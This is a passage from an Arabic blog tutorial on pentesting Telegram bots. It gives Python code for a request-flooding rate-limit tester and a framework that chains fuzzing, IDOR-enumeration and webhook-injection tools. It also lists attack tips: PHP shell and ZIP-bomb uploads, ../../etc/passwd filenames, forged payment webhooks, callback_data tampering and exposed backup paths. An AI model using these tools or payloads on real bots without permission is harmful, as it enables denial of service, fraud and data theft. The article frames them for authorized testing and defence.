success_count = sum(1 for r in self.results[0] if r["status"] == "success")
rate_limited = sum(1 for r in self.results[0] if r.get("rate_limited"))
return {
"total_requests": count,
"successful": success_count,
"rate_limited": rate_limited,
"total_time": total_time,
"requests_per_second": count / total_time if total_time > 0 else 0
}
def concurrent_test(self, message: str, threads: int, requests_per_thread: int) -> dict:
"""يرسل طلبات متزامنة من عدة threads"""
print(f"[*] Concurrent test: {threads} threads × {requests_per_thread} requests")
start_time = time.time()
def worker(thread_id: int):
for i in range(requests_per_thread):
self.send_request(message, thread_id)
time.sleep(0.1)
thread_list = []
for t in range(threads):
thread = threading.Thread(target=worker, args=(t,))
thread.start()
thread_list.append(thread)
for thread in thread_list:
thread.join()
total_time = time.time() - start_time
all_results = [r for results in self.results.values() for r in results]
success_count = sum(1 for r in all_results if r["status"] == "success")
rate_limited = sum(1 for r in all_results if r.get("rate_limited"))
return {
"total_requests": threads * requests_per_thread,
"successful": success_count,
"rate_limited": rate_limited,
"total_time": total_time,
"requests_per_second": (threads * requests_per_thread) / total_time
}
def sustained_test(self, message: str, duration: int, rate: int) -> dict:
"""يرسل طلبات بمعدل ثابت لفترة زمنية"""
print(f"[*] Sustained test: {rate} req/s for {duration} seconds")
start_time = time.time()
count = 0
while time.time() - start_time < duration:
self.send_request(message, thread_id=0)
count += 1
time.sleep(1.0 / rate)
all_results = self.results[0]
success_count = sum(1 for r in all_results if r["status"] == "success")
rate_limited = sum(1 for r in all_results if r.get("rate_limited"))
return {
"total_requests": count,
"successful": success_count,
"rate_limited": rate_limited,
"duration": duration,
"target_rate": rate,
"actual_rate": count / duration
}
def main():
parser = argparse.ArgumentParser(
description="ShadowRateTester — Telegram Bot Rate Limiting Tester"
)
parser.add_argument("token", help="Bot Token")
parser.add_argument("chat_id", type=int, help="Chat ID")
parser.add_argument("-m", "--message", default="/start",
help="الرسالة للإرسال (default: /start)")
parser.add_argument("--burst", type=int,
help="Burst test: عدد الطلبات")
parser.add_argument("--concurrent", nargs=2, type=int, metavar=("THREADS", "REQUESTS"),
help="Concurrent test: عدد threads وطلبات لكل thread")
parser.add_argument("--sustained", nargs=2, type=int, metavar=("DURATION", "RATE"),
help="Sustained test: المدة بالثواني والمعدل (req/s)")
args = parser.parse_args()
print("[*] ShadowRateTester v1.0 — Shadow Hacker")
print(f"[*] Target Bot Token: {args.token[:20]}...")
print(f"[*] Target Chat ID: {args.chat_id}")
print(f"[*] Message: {args.message}")
print(f"{'='*50}\n")
tester = RateLimitTester(args.token, args.chat_id)
if args.burst:
result = tester.burst_test(args.message, args.burst)
print(f"\n{'='*50}")
print("[*] Burst Test Results:")
print(f" Total: {result['total_requests']}")
print(f" Successful: {result['successful']}")
print(f" Rate Limited: {result['rate_limited']}")
print(f" Time: {result['total_time']:.2f}s")
print(f" Rate: {result['requests_per_second']:.2f} req/s")
if result['rate_limited'] == 0:
print("\n[!] WARNING: No rate limiting detected!")
print(" البوت عرضة لهجمات DoS والاستنزاف")
elif args.concurrent:
threads, requests = args.concurrent
result = tester.concurrent_test(args.message, threads, requests)
print(f"\n{'='*50}")
print("[*] Concurrent Test Results:")
print(f" Total: {result['total_requests']}")
print(f" Successful: {result['successful']}")
print(f" Rate Limited: {result['rate_limited']}")
print(f" Time: {result['total_time']:.2f}s")
print(f" Rate: {result['requests_per_second']:.2f} req/s")
if result['rate_limited'] == 0:
print("\n[!] WARNING: No rate limiting detected!")
elif args.sustained:
duration, rate = args.sustained
result = tester.sustained_test(args.message, duration, rate)
print(f"\n{'='*50}")
print("[*] Sustained Test Results:")
print(f" Total: {result['total_requests']}")
print(f" Successful: {result['successful']}")
print(f" Rate Limited: {result['rate_limited']}")
print(f" Duration: {result['duration']}s")
print(f" Target Rate: {result['target_rate']} req/s")
print(f" Actual Rate: {result['actual_rate']:.2f} req/s")
else:
print("[!] Please specify a test type: --burst, --concurrent, or --sustained")
print(" Example: --burst 100")
if __name__ == "__main__":
main()
هاي الأداة بتفحص إذا البوت عنده حماية ضد الطلبات الكثيرة. بتقدر تعمل 3 أنواع من الاختبارات: Burst (إرسال سريع)، Concurrent (إرسال متزامن من عدة threads)، و Sustained (إرسال بمعدل ثابت لفترة طويلة). لو البوت قبل كل الطلبات بدون ما يحظرك — هاد معناه عنده ثغرة خطيرة. استخدامها:
# Burst test — 100 طلب بسرعة python shadow_rate_tester.py YOUR_TOKEN YOUR_CHAT_ID --burst 100 # Concurrent test — 10 threads كل واحد يرسل 20 طلب python shadow_rate_tester.py YOUR_TOKEN YOUR_CHAT_ID --concurrent 10 20 # Sustained test — 5 طلبات بالثانية لمدة 60 ثانية python shadow_rate_tester.py YOUR_TOKEN YOUR_CHAT_ID --sustained 60 5[IMAGE_PLACEHOLDER_3]
نصائح متقدمة لاختبار اختراق بوتات تلجرام
بعد ما بنيت الأدوات الأساسية، خليني أعطيك نصائح متقدمة من تجربتي الشخصية بفحص بوتات تلجرام:
1. فحص الـ Inline Mode
كتير بوتات بتدعم Inline Mode — يعني بتقدر تستخدم البوت من أي محادثة عبر كتابة @botname query. المشكلة إنو المطورين بينسوا يعملوا validation للـ inline queries، وبتصير عرضة لنفس الثغرات. جرب ترسل inline queries فيها SQL injection أو XSS payloads.
2. فحص الـ Callback Queries
لما البوت بيستخدم Inline Keyboards (الأزرار تحت الرسائل)، كل زر بيكون عنده callback_data. كتير مطورين بيحطوا معلومات حساسة بالـ callback_data — زي user IDs أو أسعار أو صلاحيات. بتقدر تعترض الـ callback وتعدله قبل ما ترسله للبوت. استخدم Telegram Desktop مع Developer Tools أو اعمل man-in-the-middle على الـ API calls.
3. فحص File Upload/Download
لو البوت بيقبل ملفات من المستخدمين — جرب ترفع ملفات ضارة: PHP shells، ZIP bombs، ملفات بأسماء خطيرة زي ../../etc/passwd، أو ملفات كبيرة جداً (لاستنزاف الموارد). وكمان شوف إذا البوت بيتحقق من نوع الملف صح — كتير بوتات بيعتمدوا على الـ extension بس، وبتقدر تخدعهم بملف shell.php.jpg.
4. فحص Payment Integration
بوتات الدفع (اللي بتستخدم Telegram Payments API أو payment gateways خارجية) عرضة لثغرات خطيرة. جرب تعدل الأسعار بالـ callback_data، أو ترسل webhook مزيف للبوت يحكيله إنك دفعت. وكمان شوف إذا البوت بيتحقق من الدفع على السيرفر أو بيعتمد على الـ client.
5. فحص Database Backups
كتير مطورين بيعملوا backup لقاعدة البيانات ويحفظوها بمجلد الـ web server — وبتكون accessible من الإنترنت! جرب توصل لمسارات زي: /backups/bot.db، /db/backup.sql، /data/users.db. لو لقيت الملف — هاد breach كامل.
6. فحص Environment Variables
بعض البوتات بتسرب environment variables عبر error messages أو debug endpoints. جرب ترسل requests تسبب errors وشوف إذا البوت بيرجعلك stack traces فيها معلومات حساسة — زي الـ Bot Token، database credentials، أو API keys.
بناء Framework متكامل — ShadowBotPentest
هسا بعد ما عملنا كل الأدوات المنفصلة، خليني أعطيك framework متكامل بيجمع كل الأدوات بمكان واحد مع واجهة سهلة:
#!/usr/bin/env python3
"""
ShadowBotPentest Framework v1.0
Framework متكامل لاختبار اختراق بوتات تلجرام
Shadow Hacker — 2026
"""
import os
import sys
import json
import argparse
from datetime import datetime
class ShadowBotPentest:
def __init__(self, config_file: str = None):
self.config = self.load_config(config_file) if config_file else {}
self.results = {
"scan_time": datetime.now().isoformat(),
"target": {},
"findings": []
}
def load_config(self, config_file: str) -> dict:
"""يحمل ملف الإعدادات"""
with open(config_file, 'r') as f:
return json.load(f)
def run_token_scan(self, target_dir: str):
"""يشغل Token Scanner"""
print("[*] Running Token Scanner...")
# استدعاء ShadowTokenHunter
os.system(f"python shadow_token_hunter.py {target_dir} -o token_results.json")
def run_webhook_test(self, webhook_url: str):
"""يشغل Webhook Tester"""
print("[*] Running Webhook Tester...")
os.system(f"python shadow_webhook_tester.py {webhook_url} --injection -o webhook_results.json")
def run_fuzzer(self, token: str, chat_id: int, command: str):
"""يشغل Bot Fuzzer"""
print("[*] Running Bot Fuzzer...")
os.system(f"python shadow_bot_fuzzer.py {token} {chat_id} -c {command} --random 50 -o fuzz_results.json")
def run_idor_scan(self, token: str, chat_id: int, command: str):
"""يشغل IDOR Scanner"""
print("[*] Running IDOR Scanner...")
os.system(f"python shadow_idor_scanner.py {token} {chat_id} -c {command} --enum --range 1-100 -o idor_results.json")
def run_rate_test(self, token: str, chat_id: int):
"""يشغل Rate Limit Tester"""
print("[*] Running Rate Limit Tester...")
os.system(f"python shadow_rate_tester.py {token} {chat_id} --burst 100")
def generate_report(self, output_file: str = "pentest_report.html"):
"""يولد تقرير HTML شامل"""
print("[*] Generating comprehensive report...")
html = f"""<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>ShadowBotPentest Report</title>
<style>
body {{ font-family: 'Courier New', monospace; background: #0a0a0f; color: #0f0; padding: 20px; }}
h1 {{ color: #e94560; border-bottom: 2px solid #0f0; }}
h2 {{ color: #00ff41; }}
.critical {{ background: #ff0000; color: #fff; padding: 10px; }}
.high {{ background: #ff6600; color: #fff; padding: 10px; }}
.medium {{ background: #ffcc00; color: #000; padding: 10px; }}
.low {{ background: #00ff00; color: #000; padding: 10px; }}
pre {{ background: #1a1a2e; padding: 15px; border-radius: 5px; overflow-x: auto; }}
</style>
</head>
<body>
<h1>ShadowBotPentest Report</h1>
<p>Scan Time: {self.results['scan_time']}</p>
<p>Generated by: Shadow Hacker Framework v1.0</p>
<h2>Executive Summary</h2>
<p>Total Findings: {len(self.results['findings'])}</p>
<h2>Detailed Findings</h2>
"""
for finding in self.results['findings']:
severity_class = finding.get('severity', 'low').lower()
html += f"""
<div class="{severity_class}">
<h3>{finding.get('title', 'Finding')}</h3>
<p><b>Severity:</b> {finding.get('severity', 'Unknown')}</p>
<p><b>Description:</b> {finding.get('description', '')}</p>
<p><b>Remediation:</b> {finding.get('remediation', '')}</p>
</div>
"""
html += """
<h2>Recommendations</h2>
<ul>
<li>Implement proper input validation and sanitization</li>
<li>Use parameterized queries for database operations</li>
<li>Implement rate limiting and request throttling</li>
<li>Validate webhook requests using secret tokens</li>
<li>Implement proper authorization checks (IDOR prevention)</li>
<li>Never store sensitive data in callback_data</li>
<li>Use environment variables for secrets, never hardcode</li>
<li>Implement proper error handling without information disclosure</li>
</ul>
<footer>
<p>Report generated by ShadowBotPentest Framework — Shadow Hacker 2026</p>
</footer>
</body>
</html>
"""
with open(output_file, 'w', encoding='utf-8') as f:
f.write(html)
print(f"[+] Report saved to: {output_file}")
def run_full_scan(self, token: str, chat_id: int, webhook_url: str = None):
"""يشغل فحص شامل"""
print("[*] Starting Full Penetration Test...")
print(f"{'='*50}\n")
# Token scan
self.run_token_scan(".")
# Webhook test
if webhook_url:
self.run_webhook_test(webhook_url)
# Fuzzing
self.run_fuzzer(token, chat_id, "/start")
# IDOR scan
self.run_idor_scan(token, chat_id, "/profile")
# Rate limiting
self.run_rate_test(token, chat_id)
print(f"\n{'='*50}")
print("[+] Full scan completed!")
# Generate report
self.generate_report()
def main():
banner = """
╔═══════════════════════════════════════════════════╗
║ ShadowBotPentest Framework v1.0 ║
║ Telegram Bot Penetration Testing Suite ║
║ Shadow Hacker — 2026 ║
╚═══════════════════════════════════════════════════╝
"""
print(banner)
parser = argparse.ArgumentParser(
description="ShadowBotPentest — Telegram Bot Pentesting Framework"
)
parser.add_argument("--token", help="Bot Token")
parser.add_argument("--chat-id", type=int, help="Chat ID")
parser.add_argument("--webhook", help="Webhook URL")
parser.add_argument("--full", action="store_true", help="Run full scan")
parser.add_argument("--config", help="Config file (JSON)")
args = parser.parse_args()
framework = ShadowBotPentest(args.config)
if args.full and args.token and args.chat_id:
framework.run_full_scan(args.token, args.chat_id, args.webhook)
else:
print("[!] Usage:")
print(" python shadow_bot_pentest.py --token TOKEN --chat-id ID --full")
print(" python shadow_bot_pentest.py --config config.json --full")
if __name__ == "__main__":
main()
هاد الـ framework بيجمع كل الأدوات اللي بنيناها بمكان واحد. بتقدر تشغل فحص شامل بأمر واحد، وبيولدلك تقرير HTML احترافي فيه كل النتائج. استخدامه بسيط:
# فحص شامل python shadow_bot_pentest.py --token YOUR_TOKEN --chat-id YOUR_CHAT_ID --webhook https://your-bot.com/webhook --full
أسئلة شائعة
سؤال: هل اختبار اختراق بوتات تلجرام قانوني؟
اختبار الاختراق قانوني فقط إذا كان عندك إذن صريح من مالك البوت، أو إذا كنت بتفحص بوت إنت مطوره، أو إذا البوت ضمن برنامج Bug Bounty. أي اختبار بدون إذن هو جريمة إلكترونية بكل دول العالم وممكن يعرضك لمسؤولية قانونية. دائماً احصل على إذن كتابي قبل ما تبدأ أي فحص.
سؤال: شو أفضل لغة برمجة لبناء أدوات اختبار اختراق لبوتات تلجرام؟
Python هي الأفضل بدون منافس — عندها مكتبات ممتازة زي python-telegram-bot و requests، وسهلة بالكتابة والتعديل. بس بتقدر كمان تستخدم JavaScript (Node.js) مع node-telegram-bot-api، أو Go لو بدك أداة سريعة جداً.
سؤال: كيف أحمي بوتي من هالثغرات؟
أهم إشي: Input Validation — لا تثق أبداً بأي input من المستخدم. استخدم Parameterized Queries لقاعدة البيانات، استخدم Secret Token للـ webhooks، طبق Rate Limiting على كل الأوامر، واعمل Authorization Checks قبل ما تعطي أي بيانات. وكمان لا تحط أبداً الـ Bot Token بالكود — استخدم environment variables.
سؤال: شو الفرق بين Long Polling و Webhooks من ناحية أمنية؟
Long Polling أكثر أماناً لأنو البوت هو اللي بيطلب الرسائل من تلجرام — ما في endpoint مكشوف على الإنترنت. بس Webhooks أسرع وأكثر كفاءة، بس لازم تأمنها صح — استخدم HTTPS، استخدم Secret Token، وتحقق من الـ IP اللي جاي منه الـ request (تلجرام بتستخدم IPs محددة).
سؤال: كيف أتعلم اختبار اختراق بوتات تلجرام بشكل عملي؟
أفضل طريقة هي إنك تبني بوت ضعيف عن قصد (Vulnerable Bot) وتفحصه بالأدوات اللي بنيناها. اعمل بوت فيه كل الثغرات اللي حكينا عنها — SQL Injection، IDOR، Command Injection — وجرب تستغلها. هيك بتتعلم من الجهتين: كمطور وكمختبر اختراق. وكمان شارك ببرامج Bug Bounty على HackerOne و Bugcrowd.
سؤال: هل في أدوات جاهزة لاختبار اختراق بوتات تلجرام؟
في بعض الأدوات على GitHub بس أغلبها قديمة أو محدودة. الأدوات اللي بنيناها بهاد المقال هي من أحدث وأقوى الأدوات المتاحة. بتقدر تلاقي مشاريع زي telegram-bot-security على GitHub، بس أنصحك تبني أدواتك الخاصة عشان تفهم كل إشي بالتفصيل.
سؤال: شو أخطر ثغرة ممكن تكون ببوت تلجرام؟
أخطر ثغرة هي تسريب الـ Bot Token — لأنو أي شخص عنده التوكن بيقدر يتحكم بالبوت بالكامل. بعدها Command Injection (لأنها بتعطي المهاجم وصول للسيرفر)، وبعدها SQL Injection (لأنها بتعطي وصول لقاعدة البيانات). كل هالثغرات ممكن تؤدي لـ full compromise.
سؤال: كيف أبلغ عن ثغرة لقيتها ببوت تلجرام؟
أول إشي شوف إذا البوت عنده برنامج Bug Bounty — بتلاقي المعلومات بالـ bio أو بموقعهم. لو ما في، حاول تتواصل مع المطور بشكل خاص (عبر تلجرام أو email) واشرحله الثغرة بالتفصيل مع proof of concept. لا تنشر الثغرة علناً قبل ما يصلحوها — هاد اسمه Responsible Disclosure. أعطيهم 90 يوم على الأقل لإصلاح الثغرة.
الخاتمة — رأيي الشخصي
بصراحة، بوتات تلجرام من أكثر الأهداف المثيرة لاختبار الاختراق — لأنو في آلاف البوتات، وأغلبها مبني بشكل سريع بدون تركيز على الأمان. وأنا شخصياً لقيت ثغرات خطيرة ببوتات كبيرة — بوتات عليها مئات الآلاف من المستخدمين — بس لأنو المطور ما فكر بالأمان. الأدوات اللي بنيناها اليوم هي بداية — بتقدر تطورها وتضيف عليها ميزات أكثر. وأهم إشي — استخدمها بشكل مسؤول وقانوني.
لو إنت مطور بوتات — خذ هالمقال كدليل لتأمين بوتاتك. ولو إنت مختبر اختراق — استخدم الأدوات هاي عشان تلاقي ثغرات وتساعد بتحسين أمان البوتات. وتذكر دائماً: الهدف من اختبار الاختراق هو تحسين الأمان، مش التخريب. كل ثغرة بتلاقيها وبتبلغ عنها بشكل مسؤول — إنت بتساهم بجعل الإنترنت مكان أكثر أماناً.
وإذا عندك أي سؤال أو بدك مساعدة بتطوير الأدوات — تواصل معي على قناة تلجرام @ShadowHackrs. وإذا لقيت ثغرة خطيرة ببوت مشهور — شاركها معنا (بعد ما يصلحوها طبعاً) عشان نتعلم منها. يلا بالتوفيق، وإن شاء الله تلاقوا ثغرات كثيرة وتربحوا مصاري من Bug Bounty!
🔥 مواضيع ذات صلة من Shadow Hacker:
الكلمات المفتاحية: اختبار اختراق بوتات تلجرام، Telegram bot security testing، أدوات فحص بوتات تلجرام، ثغرات بوتات تلجرام، Telegram bot vulnerabilities، SQL Injection في بوتات تلجرام، Command Injection Telegram، IDOR بوتات تلجرام، Webhook security Telegram، Bot Token leakage، Python penetration testing tools، اختبار أمان بوتات، Telegram bot pentesting framework، Rate limiting Telegram bots، Fuzzing Telegram bots، Bug bounty Telegram bots، أمن معلومات تلجرام، Telegram API security، بناء أدوات اختبار اختراق، Shadow Hacker 2026
Shadow Hacker
مؤسس ومحرر المدونة | خبير أمن معلومات وتقنية
متخصص في الأمن السيبراني واختبار الاختراق وتحليل الثغرات. بشارك معكم كل جديد في عالم التقنية والأمن المعلوماتي بأسلوب عملي ومبسط.
🔔 لا تفوتك مواضيعنا الجديدة!
تابعنا عشان توصلك أحدث المقالات في عالم الأمن والتقنية مباشرة
📢 شارك المقال مع أصدقائك:
